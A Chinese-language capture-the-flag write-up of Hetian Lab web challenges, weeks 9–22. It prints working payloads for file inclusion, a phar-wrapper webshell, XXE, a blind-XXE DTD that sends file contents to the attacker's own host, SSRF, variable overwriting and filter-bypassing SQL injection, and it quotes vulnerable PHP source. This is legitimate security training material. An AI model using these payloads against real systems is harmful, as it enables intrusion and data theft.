合天网安Weekly系列(9-22)
0x00 前言
继续van。
0x01 第九周 | 试下phpinfo吧
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5009
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
根据题目,需要用到phpinfo页面。猜测需要利用文件包含漏洞。
把cn.php替换成phpinfo.php后失效,判断文件不在此目录,跳到父目录。打开了phpinfo。
网页底部藏着flag{abcd_hetianlab_1234_qwer}
0x02 第十周 | 试试协议吧
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5010
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
一进去就蹦出来个链接,点进去。
改下flie。
题目说要运用协议,那就尝试一番。php://filter/convert.base64-encode/resource=flag.php
,就出来了一串base64编码。
ZmxhZyBpbiBoZXJlDQo8P3BocCAvL2ZsYWd7YWJkY18xMjM0X3F3ZXJfaGV0aWFufT8+
成功拿到flag{abdc_1234_qwer_hetian}
0x03 第十一周 | 签到般的包含
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5011
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{},菜刀目录:C:\tools\
传图片,直接失败。
测试发现jpg类型可以上传。
进入文件夹看一看。
题目说有个include.php文件,应该是个文件包含漏洞 ,输入url路径。
看了一位师傅的WP,要用phar伪协议,这个协议可以访问zip格式压缩包内容,我们先构造一个压缩包写一个php一句话到1.php,再把1.php压缩成1.zip,为了成为白名单,把1.zip后缀改为jpg,成功上传。
在菜刀输入http://10.1.1.147:5011/include.php?file=phar://a.jpg/a
,连上WebShell。
得到flag{whoami_hetianlab_student}
。
Ps:没有第十二周的实验,但可以根据题目iP猜测10.1.1.147:5012,进去提示加file参数
没啥思路,搜了下,发现有师傅做过视频,视频开头给出了相关的题目信息,菜刀、日志路径、ubuntu系统和LFI(Local File Include),现有环境下按照师傅的方法无法复现,这题主要是通过/var/log/apache2/access.log
进行命令执行,讲得挺好的。
0x04 第十三周 | simple xxe
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5013
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
查看源码,发现信息。
随便输入后抓个包,发现用户名和密码是通过XML标签传值的,题目也明说了,要用XXE(XML External Entity)。
借助file协议实现外部实体声明来读取文件,代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///opt/flag.txt">
]>
<user><username>&xxe;</username><password>1</password></user>
成功拿到。
0x05 第十四周 | blind xxe
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5014
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
题目考察Blind XXE,查看源码发现目标文件。
ifconfig
查看本机ip为10.1.1.100
,这里发现Apache服务没有开启,使用service apache2 start
。
采用如下的payload
post:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://10.1.1.100/1.dtd">
%remote;%int;%send;
]>
1.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///tmp/password.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.1.1.100:9999?p=%file;'>">
python -m SimpleHTTPServer 9999
得到一串base64编码ZmxhZ3toZXRpYW5fMTIzNF9hd2RyfQo=
,解码得到flag{hetian_1234_awdr}
0x06 第十五周 | 回显的SSRF
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5015
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
给出了flag在/opt/flag.txt,题目明示了是有回显的SSRF,用file协议直接读取。
0x07 第十六周 | 有点另类的SSRF
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5016
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
按照上一个实验的步骤用file协议直接读取,提示要以管理员身份登录。
使用BurpPOST一个admin的值,得到下一条提示信息。
使用X-Forwarded-For、X-Real-Ip、X-Client-Ip、Client-Ip等来伪造ip。
打开source.txt,查看源码,能看到flag的文件位置。
<?php
// /opt/flag.txt
function getUrlContent($url){
// $url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
// echo $pl;
$content = shell_exec($pl);
return $content;
}
echo "you need to login as admin!";
echo "<!-- post param 'admin' -->";
if(isset($_POST['admin']))
{
if($_POST['admin']==1)
{
if($_SERVER['HTTP_X_CLIENT_IP'])
{
echo "fileread source.txt";
if (isset($_POST['handler'])&&!empty($_POST['handler']))
{
$url = $_POST['handler'];
$content_url = getUrlContent($url);
echo $content_url;
}
}
else
{
echo "only 127.0.0.1 can get the flag!!";
}
}else
{
$_POST['admin']=0;
}
}
0x08 第十七周 | 给你扔了串代码
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5017
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
首页给出了源代码的图片。
这是一道变量覆盖的题目,重点关注这两段代码。
foreach ($_GET as $key =>$value){
$$key=$$value;
}foreach ($_POST as $key =>$value){
$$key=$value;
}
这道题说f12可以使用hackbar,但实际上用不了,换个环境,继续做。Get传值时将$_200的值设为$flag的值,POST传值flag=随便的数,就能绕过,然后输出$_200里的值。
0x09 第十八周 | 学会变量覆盖
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5018
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
查看源代码信息。
试一下url后加上/?gift
=,直接得到flag{hetianlab}
,猜测变量content的值为空,变量flag需要传上去。
0x0A 第十九周 | Easy PHP
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5019
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
分析源码
重点关注Get传值方法,设一个中间变量来传递flag的值。
0x0B 第二十周 | 最后一道变量覆盖
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5020
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
分析源码
这个需要利用PHP的弱类型来进行md5碰撞和parse_str的变量覆盖。
0x0C 第二十一周 | 你的空格哪去了
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5021
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
简单的SQL注入,需要绕过空格的过滤。
经过测试在order by 3时能够正常回显,order by 4时无回显,可知列数为3。构造语句0'union/**/select/**/1,flag,3/**/from/**/flag#
,成功回显。
0x0D 第二十二周 | 想想怎么绕过过滤吧
- 背景说明
- 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
- 实验环境
- 目标机:Centos7 IP地址:10.1.1.147:5022
- 攻击机:Kali IP地址:随机分配
- 要求:获取目标flag
- 提示:flag格式为Flag{}
页面与上一题相同,select大写绕过即可。